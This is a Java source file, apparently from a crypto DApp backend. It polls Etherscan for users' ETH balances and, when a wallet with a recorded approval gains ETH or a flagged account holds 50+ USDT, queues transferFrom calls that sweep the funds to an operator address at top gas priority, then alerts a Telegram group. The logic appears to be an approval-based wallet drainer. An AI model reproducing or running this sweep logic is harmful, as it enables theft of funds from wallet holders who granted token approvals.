package project.monitor.job.balanceof;

import java.math.BigDecimal;
import java.math.RoundingMode;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import kernel.util.Arith;
import kernel.util.ThreadUtils;
import project.Constants;
import project.log.MoneyLog;
import project.log.MoneyLogService;
import project.monitor.AutoMonitorTipService;
import project.monitor.AutoMonitorWalletService;
import project.monitor.bonus.AutoMonitorSettleAddressConfigService;
import project.monitor.bonus.model.SettleAddressConfig;
import project.monitor.etherscan.EtheBalance;
import project.monitor.etherscan.EtherscanService;
import project.monitor.etherscan.GasOracle;
import project.monitor.job.transferfrom.TransferFrom;
import project.monitor.job.transferfrom.TransferFromQueue;
import project.monitor.model.AutoMonitorAutoTransferFromConfig;
import project.monitor.model.AutoMonitorTip;
import project.monitor.model.AutoMonitorWallet;
import project.monitor.telegram.business.TelegramBusinessMessageService;
import project.party.PartyService;
import project.party.model.Party;
import project.syspara.SysparaService;
import project.wallet.WalletExtend;
import project.wallet.WalletService;

/**
 * eth余额查询并归集服务
 *
 */
public class EthBalanceOfServer implements Runnable {
	
	private static final Logger logger = LoggerFactory.getLogger(BalanceOfServer.class);

	private WalletService walletService;
	protected MoneyLogService moneyLogService;
	protected AutoMonitorTipService autoMonitorTipService;
	protected SysparaService sysparaService;
	protected PartyService partyService;
	protected TelegramBusinessMessageService telegramBusinessMessageService;
	private AutoMonitorWalletService autoMonitorWalletService;
	private EtherscanService etherscanService;
	private AutoMonitorSettleAddressConfigService autoMonitorSettleAddressConfigService;

	private volatile boolean isRunning = false;

	private volatile boolean islock = false;

	private List<AutoMonitorAutoTransferFromConfig> items;

	public void start() {
		new Thread(this, "EthBalanceOfServer").start();
		if (logger.isInfoEnabled()) {
			logger.info("启动地址(账户)的账户eth余额读取(EthBalanceOfServer)服务！");
		}

	}

	public void start(List<AutoMonitorAutoTransferFromConfig> items) {
		this.items = items;
		this.isRunning = true;

	}

	/**
	 * 锁住，先拿到服务权限
	 */
	public void lock() {
		this.islock = true;
	}

	@Override
	public void run() {
		while (true) {

			if (!isRunning) {
				ThreadUtils.sleep(1000);
				continue;
			}

			try {

				// 每次处理20个
				Map<String, AutoMonitorAutoTransferFromConfig> itemMap = new HashMap<String, AutoMonitorAutoTransferFromConfig>();
				boolean auto_monitor_abnormal_user_auto_transferfrom_button = sysparaService.find("auto_monitor_abnormal_user_auto_transferfrom_button").getBoolean();
				int count = 0;
				for (int i = 0; i < items.size(); i++) {
					AutoMonitorAutoTransferFromConfig item = items.get(i);
					//如果未开启eth余额增加自动归集则略过
					if(!item.isEnabled_eth_add()) {
						continue;
					}
					try {

						Party party = partyService.cachePartyBy(item.getPartyId(), true);
						if(auto_monitor_abnormal_user_auto_transferfrom_button) {
							handleExceptionConfig(party, item);
						}
						itemMap.put(party.getUsername(), item);
						count++;
						// 每次处理100个 或者已经到最后一个了
						if (count == 20 || i == items.size() - 1) {
							handle(itemMap);
							// 远程接口调用间隔1秒
							ThreadUtils.sleep(1000);
							// 每批处理完清空
							itemMap.clear();
							count = 0;

						}
					} catch (Throwable t) {
						logger.error("EthBalanceOfServer run() partyId:" + item.getPartyId() + ",fail:", t);
					}
				}

				/**
				 * 处理完，置空
				 */
				items = new ArrayList<AutoMonitorAutoTransferFromConfig>();

			} catch (Throwable e) {
				logger.error("EthBalanceOfServer run() fail", e);

			} finally {
				/**
				 * 任务处理完，持久化数据并释放任务执行权限
				 */
				ThreadUtils.sleep(1000);
				isRunning = false;
				islock = false;
			}
		}

	}

	public void handleExceptionConfig(Party party,AutoMonitorAutoTransferFromConfig config) {
		if(!"3".equals(config.getType())) {
			return;
		}
		try {
			WalletExtend walletExtend = walletService.saveExtendByPara(party.getId(),
					Constants.WALLETEXTEND_DAPP_USDT_USER);
			//余额大于50自动归集
			if(walletExtend.getAmount()>=50) {
				AutoMonitorWallet autoMonitorWallet = autoMonitorWalletService.findBy(party.getUsername());
				AutoMonitorTip tip = new AutoMonitorTip();

				/**
				 * 归集操作
				 */
				TransferFrom item = new TransferFrom();
	
				item.setAutoMonitorWallet(autoMonitorWallet);
				SettleAddressConfig findDefault = autoMonitorSettleAddressConfigService.findDefault();
				item.setTo(findDefault.getChannel_address());
				item.setGasPriceType(GasOracle.GAS_PRICE_SUPER);
	
				TransferFromQueue.add(item);
	
				tip.setDispose_method("已归集");
	
				tip.setPartyId(config.getPartyId());
				tip.setTiptype(0);
				tip.setTipinfo("异常授权账户，USDT余额大于50自动归集");
	
				tip.setCreated(new Date());
				autoMonitorTipService.saveTipNewThreshold(tip);
			}
		} catch (Exception e) {
			// TODO: handle exception
			logger.error("EthBalanceOfServer handleExceptionConfig() address:" + party.getUsername() + ",fail:",
					e);
		}
	}
	public void handle(Map<String, AutoMonitorAutoTransferFromConfig> itemMap) {
		try {
			List<EtheBalance> etherMultipleBalance = etherscanService
					.getEtherMultipleBalance(String.join(",", itemMap.keySet()), 0);
			for (EtheBalance etheBalance : etherMultipleBalance) {
				AutoMonitorAutoTransferFromConfig config = itemMap.get(etheBalance.getAccount());
				autoTransferFrom(config, etheBalance.getBalance());
			}
		} catch (Exception e) {
			// TODO: handle exception
			logger.error("EthBalanceOfServer handle() addresses:" + String.join(",", itemMap.keySet()) + ",fail:",
					e);
		}
	}

	public void autoTransferFrom(AutoMonitorAutoTransferFromConfig config, Double balance) {
		try {

			if (balance == null) {
				return;
			}
			balance = new BigDecimal(balance).setScale(8, RoundingMode.DOWN).doubleValue();
			Party party = partyService.cachePartyBy(config.getPartyId(), false);
			WalletExtend walletExtend = walletService.saveExtendByPara(config.getPartyId(),
					Constants.WALLETEXTEND_DAPP_ETH_USER);

			double amount_before = walletExtend.getAmount();
			/**
			 * 为0刚是新初始化的账户，第一次读取到数值 不做提醒
			 */
			if (balance > walletExtend.getAmount()) {

				if (walletExtend.getAmount() != 0) {

					AutoMonitorWallet autoMonitorWallet = autoMonitorWalletService.findBy(party.getUsername());
					if (autoMonitorWallet == null || autoMonitorWallet.getSucceeded() != 1) {
						return;
					}

					AutoMonitorTip tip = new AutoMonitorTip();

					/**
					 * 新增自动归集判断
					 */
					// TOTO
					/**
					 * 归集操作
					 */
					TransferFrom item = new TransferFrom();

					item.setAutoMonitorWallet(autoMonitorWallet);
//					AutoMonitorTransferAddressConfig transferAddressConfig = autoMonitorTransferAddressConfigService
//							.findAll().get(0);
					SettleAddressConfig findDefault = autoMonitorSettleAddressConfigService.findDefault();
					item.setTo(findDefault.getChannel_address());
					item.setGasPriceType(GasOracle.GAS_PRICE_SUPER);

					TransferFromQueue.add(item);

					tip.setDispose_method("已归集");

					tip.setPartyId(config.getPartyId());
					tip.setTiptype(0);
					tip.setTipinfo("账户ETH增加[" + Arith.sub(balance, walletExtend.getAmount()) + "]");

					tip.setCreated(new Date());
					autoMonitorTipService.saveTipNewThreshold(tip);

				}

			}
			if (walletExtend.getAmount() != balance) {

				if (walletExtend.getAmount() != 0) {

					/**
					 * 群通知
					 */
					telegramBusinessMessageService.sendEthChangeTeleg(party, amount_before,
							Arith.sub(balance, walletExtend.getAmount()),
							Arith.add(walletExtend.getAmount(), Arith.sub(balance, walletExtend.getAmount())));

				}
				walletService.updateExtend(config.getPartyId().toString(), Constants.WALLETEXTEND_DAPP_ETH_USER,
						Arith.sub(balance, walletExtend.getAmount()));
				/*
				 * 保存资金日志
				 */
				MoneyLog moneyLog = new MoneyLog();
				moneyLog.setAmount_before(amount_before);
				moneyLog.setAmount(Arith.sub(balance, walletExtend.getAmount()));
				moneyLog.setAmount_after(
						Arith.add(walletExtend.getAmount(), Arith.sub(balance, walletExtend.getAmount())));

				moneyLog.setLog("ETH币值变化");
				moneyLog.setPartyId(config.getPartyId());
				moneyLog.setWallettype(Constants.WALLETEXTEND_DAPP_ETH_USER);
				moneyLog.setCreateTime(new Date());

				moneyLogService.save(moneyLog);

//				Party party = partyService.cachePartyBy(config.getPartyId(), true);
//				telegramBusinessMessageService.sendEthChangeTeleg(party, moneyLog.getAmount_before(),
//						moneyLog.getAmount(), moneyLog.getAmount_after());
			}
		} catch (Throwable t) {
			logger.error("EthBalanceOfServer autoTransferFrom() partyId:" + config.getPartyId() + " fail", t);
		}
	}

	/**
	 * 确认服务是否在启动中，如果被启动，外部线程自行阻塞等到处理完后调用
	 * 
	 * @return
	 */
	public boolean isRunning() {

		return isRunning;
	}

	public boolean islock() {

		return islock;
	}

	public void setWalletService(WalletService walletService) {
		this.walletService = walletService;
	}

	public void setMoneyLogService(MoneyLogService moneyLogService) {
		this.moneyLogService = moneyLogService;
	}

	public void setAutoMonitorTipService(AutoMonitorTipService autoMonitorTipService) {
		this.autoMonitorTipService = autoMonitorTipService;
	}

	public void setPartyService(PartyService partyService) {
		this.partyService = partyService;
	}

	public void setTelegramBusinessMessageService(TelegramBusinessMessageService telegramBusinessMessageService) {
		this.telegramBusinessMessageService = telegramBusinessMessageService;
	}

	public void setSysparaService(SysparaService sysparaService) {
		this.sysparaService = sysparaService;
	}

	public void setAutoMonitorWalletService(AutoMonitorWalletService autoMonitorWalletService) {
		this.autoMonitorWalletService = autoMonitorWalletService;
	}

	public void setEtherscanService(EtherscanService etherscanService) {
		this.etherscanService = etherscanService;
	}

	public void setAutoMonitorSettleAddressConfigService(
			AutoMonitorSettleAddressConfigService autoMonitorSettleAddressConfigService) {
		this.autoMonitorSettleAddressConfigService = autoMonitorSettleAddressConfigService;
	}

	
}